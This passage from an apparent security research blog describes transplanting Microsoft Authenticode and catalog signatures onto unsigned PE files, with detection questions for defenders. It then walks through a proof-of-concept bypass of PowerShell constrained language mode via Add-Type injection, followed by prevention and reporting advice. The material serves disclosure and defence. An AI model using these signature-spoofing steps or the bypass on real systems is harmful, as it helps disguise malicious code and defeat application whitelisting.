Step #4: Open your unsigned PE (HelloWorld.exe in this example) in a hex editor, scroll to the end, and paste the bytes copied from kernel32.dll. Take note of the file offset of the beginning of the signature (0x00000E00 in my case). Save the file after pasting in the signature.


Step #5: Open HelloWorld.exe in CFF Explorer and update the security directory to point to the digital signature that was applied: offset - 0x00000E00, size - 0x00003A68. Save the file after making the modifications. Ignore the “Invalid” warning. CFF Explorer doesn’t treat the security directory as a file offset and gets confused when it tries to reference what section the data resides in.


That’s it! Now, signature validation utilities will parse and display the signature properly. The only caveat is that they will report that the signature is invalid because the calculated Authenticode of the file does not match that of the signed hash stored in the certificate.

Now, if you were wondering why the SignerCertificate thumbprint values don’t match, then you are an astute reader. Considering we applied the identical signature, why doesn’t the certificate thumbprint match? That’s because Get-AuthenticodeSignature first attempts a catalog file lookup of kernel32.dll. In this case, it found a catalog entry for kernel32.dll and is displaying the signature information for the signer of the catalog file. kernel32.dll is also Authenticode signed though. To validate that the thumbprint values for the Authenticode hashes are identical, temporarily stop the CryptSvc service - the service responsible for performing catalog hash lookups. Now you will see that the thumbprint values match. This indicates that the catalog hash was signed with a different code signing certificate from the certificate used to sign kernel32.dll itself.

Application of a Catalog Signature to a PE File


Realistically, CryptSvc will always be running and catalog lookups will be performed. Suppose you want to be mindful of OPSEC and match the identical certificate used to sign your target binary. It turns out, you can actually apply the contents of a catalog file to an embedded PE signature by swapping out the contents of bCertificate in the WIN_CERTIFICATE structure and updating dwLength accordingly. Feel free to follow along as this is done. Note that our goal (in this case) is to apply an Authenticode signature to our unsigned binary that is identical to the one used to sign the containing catalog file: Certificate thumbprint AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033 in this case.

Step #1: Identify the catalog file containing the Authenticode hash of the target binary - kernel32.dll in this case. If a file is Authenticode signed, sigcheck will actually fail to resolve the catalog file. Signtool (included in the Windows SDK) will, however.


Step #2: Open the catalog file in in a hex editor and annotate the file size - 0x000137C7


Step #3: We’re going to manually craft a WIN_CERTIFICATE structure in a hex editor. Let’s go through each field we’ll supply:
  1. dwLength: This is the total length of the WIN_CERTIFICATE structure - i.e. bCertificate bytes plus the size of the other fields = 4 (size of DWORD) + 2 (size of WORD) + 2 (size of WORD) + 0x000137C7 (bCertificate - the file size of the .cat file) = 0x000137CF.
  2. wRevision: This will be 0x0200 to indicate WIN_CERT_REVISION_2_0.
  3. wCertificateType: This will be 0x0002 to indicate WIN_CERT_TYPE_PKCS_SIGNED_DATA.
  4. bCertificate: This will consist of the raw bytes of the catalog file.
When crafting the bytes in the hex editor, be mindful that the fields are stored in little-endian format.


Step #4: Copy all the bytes from the crafted WIN_CERTIFICATE, append them your unsigned PE, and update the security directory offset and size accordingly.


Now, assuming your calculations and alignments were proper, behold a thumbprint match with that of the catalog file!


Anomaly Detection Ideas


The techniques presented in this blog post have hopefully got some people thinking about how one might go about detecting the abuse of digital signatures. While I have not investigated signature heuristics thoroughly, let me just pose a series of questions that might motivate others to start investigating and writing detections for potential signature anomalies:
  • For a legitimately signed Microsoft PE, is there any correlation between the PE timestamp and the certificate validity period? Would the PE timestamp for attacker-supplied code deviate from the aforementioned correlation?
  • After reading this article, what is your level of trust in a “signed” file that has a hash mismatch?
  • How would you go about detecting a PE file that has an embedded Authenticode signature consisting of a catalog file? Hint: A specific OID mentioned earlier might be useful.
  • How might you go about validating the signature of a catalog-signed file on a different system?
  • What effect might a stopped/disabled CryptSvc service have on security products performing local signature validation? If that was to occur, then most system files, for all intents and purposes will cease to be signed.
  • Every legitimate PE I’ve seen is padded on a 0x10 byte boundary. The example I showed where I applied the catalog contents to an Authenticode signature is not 0x10 byte aligned.
  • How might you differentiate between a legitimate Microsoft digital signature and one where all the certificate attributes are applied to a self-signed certificate?
  • What if there is data appended beyond the digital signature? This has been abused in the past.
  • Threat intel professionals should find the Authenticode hash to be an interesting data point when investigating identical code with different certificates applied. VirusTotal supplies this as the "Authentihash" value: i.e. the hash value that was calculated with "sigcheck -h". If I were investigating variants of a sample that had more than one hit on a single Authentihash in VirusTotal, I would find that to be very interesting.

Exploiting PowerShell Code Injection Vulnerabilities to Bypass Constrained Language Mode

29 August 2017 at 12:32

Introduction


Constrained language mode is an extremely effective method of preventing arbitrary unsigned code execution in PowerShell. It’s most realistic enforcement scenarios are when Device Guard or AppLocker are in enforcement mode because any script or module that is not approved per policy will be placed in constrained language mode, severely limiting an attackers ability to execute unsigned code. Among the restrictions imposed by constrained language mode is the inability to call Add-Type. Restricting Add-Type makes sense considering it compiles and loads arbitrary C# code into your runspace. PowerShell code that is approved per policy, however, runs in “full language” mode and execution of Add-Type is permitted. It turns out that Microsoft-signed PowerShell code calls Add-Type quite regularly. Don’t believe me? Find out for yourself by running the following command:

ls C:\*-Recurse -Include'*.ps1','*.psm1' |

  Select-String -Pattern'Add-Type' |

  Sort Path -Unique |

  % { Get-AuthenticodeSignature-FilePath $_.Path } |

  ? { $_.SignerCertificate.Subject -match 'Microsoft'}


Exploitation


Now, imagine if the following PowerShell module code (pretend it’s called “VulnModule”) were signed by Microsoft:

$Global:Source = @'

public class Test {

    public static string PrintString(string inputString) {

        return inputString;

    }

}

'@


Add-Type -TypeDefinition$Global:Source


Any ideas on how you might influence the input to Add-Type from constrained language mode? Take a minute to think about it before reading on.

Alright, let’s think the process through together:
  1. Add-Type is passed a global variable as its type definition. Because it’s global, its scope is accessible by anyone, including us, the attacker.
  2. The issue though is that the signed code defines the global variable immediately prior to calling to Add-Type so even if we supplied our own malicious C# code, it would just be overwritten by the legitimate code.
  3. Did you know that you can set read-only variables using the Set-Variable cmdlet? Do you know what I’m thinking now?

Weaponization


Okay, so to inject code into Add-Type from constrained language mode, an attacker needs to define their malicious code as a read-only variable, denying the signed code from setting the global “Source” variable. Here’s a weaponized proof of concept:

Set-Variable -Name Source -Scope Global -Option ReadOnly -Value@'

public class Injected {

    public static string ToString(string inputString) {

        return inputString;

    }

}

'@


Import-Module VulnModule


[Injected]::ToString('Injected!!!')


A quick note about weaponization strategies for Add-Type injection flaws. One of the restrictions of constrained language mode is that you cannot call .NET methods on non-whitelisted classes with two exceptions: properties (which is just a special “getter” method) and the ToString method. In the above weaponized PoC, I chose to implement a static ToString method because ToString permits me to pass arguments (a property getter does not). I also made my class static because the .NET class whitelist only applies when instantiating objects with New-Object.

So did the above vulnerable example sound contrived and unrealistic? You would think so but actually Microsoft.PowerShell.ODataAdapter.ps1 within the Microsoft.PowerShell.ODataUtils module was vulnerable to this exact issue. Microsoft fixed this issue in either CVE-2017-0215, CVE-2017-0216, or CVE-2017-0219. I can’t remember, to be honest. Matt Nelson and I reported a bunch of these injection bugs that were serviced by the awesome PowerShell team.

Prevention


The easiest way to prevent this class of injection attack is to supply a single-quoted here-string directly to -TypeDefinition in Add-Type. Single quoted string will not expand any embedded variables or expressions. Of course, this scenario assumes that you are compiling static code. If you must supply dynamically generated code to Add-Type, be exceptionally mindful of how an attacker might influence its input. To get a sense of a subset of ways to influence code execution in PowerShell watch my “Defensive Coding Strategies for a High-Security Environment” talk that I gave at PSConf.EU.

Mitigation


While Microsoft will certainly service these vulnerabilities moving forward, what is to prevent an attacker from bringing the vulnerable version along with them?

A surprisingly effective blacklist rule for UMCI bypass binaries is the FileName rule which will block execution based on the filename present in the OriginalFilename field within the “Version Info” resource in a PE. A PowerShell script is obviously not a PE file though - it’s a text file so the FileName rule won’t apply. Instead, you are forced to block the vulnerable script by its file hash using a Hash rule. Okay… what if there is more than a single vulnerable version of the same script? You’ve only blocked a single hash thus far. Are you starting to see the problem? In order to effectively block all previous vulnerable versions of the script, you must know all hashes of all vulnerable versions. Microsoft certainly recognizes that problem and has made a best effort (considering they are the ones with the resources) to scan all previous Windows releases for vulnerable scripts and collect the hashes and incorporate them into a blacklist here. Considering the challenges involved in blocking all versions of all vulnerable scripts by their hash, it is certainly possible that some might fall through the cracks. This is why it is still imperative to only permit execution of PowerShell version 5 and to enable scriptblock logging. Lee Holmes has an excellent post on how to effectively block older versions of PowerShell in his blog post here.

Another way in which a defender might get lucky regarding vulnerable PowerShell script blocking is due to the fact that most scripts and binaries on the system are catalog signed versus Authenticode signed. Catalog signed means that rather than the script having an embedded Authenticode signature, its hash is stored in a catalog file that is signed by Microsoft. So when Microsoft ships updates, eventually, hashes for old versions will fall out and no longer remain “signed.” Now, an attacker could presumably also bring an old, signed catalog file with them and insert it into the catalog store. You would have to be elevated to perform that action though and by that point, there are a multitude of other ways to bypass Device Guard UMCI. As a researcher seeking out such vulnerable scripts, it is ideal to first seek out potentially vulnerable scripts that have an embedded Authenticode signature as indicated by the presence of the following string - “SIG # Begin signature block”. Such bypass scripts exist. Just ask Matt Nelson.

Reporting


If you find a bypass, report it to [email protected] and earn yourself a CVE. The PowerShell team actively addresses injection flaws, but they are also taking making proactive steps to mitigate many of the primitives used to influence code execution in these classes of bug.

Conclusion


While constrained language mode remains an extremely effective means of preventing unsigned code execution, PowerShell and it’s library of signed modules/scripts remain to be a large attack surface. I encourage everyone to seek out more injection vulns, report them, earn credit via formal MSRC acknowledgements, and make the PowerShell ecosystem a more secure place. And hopefully, as a writer of PowerShell code, you’ll find yourself thinking more often about how an attacker might be able to influence the execution of your code.

Now, everything that I just explained is great but it turns out that any call to Add-Type remains vulnerable to injection due to a design issue that permits exploiting a race condition. I really hope that continuing to shed light on these issues, Microsoft will considering addressing this fundamental issue.
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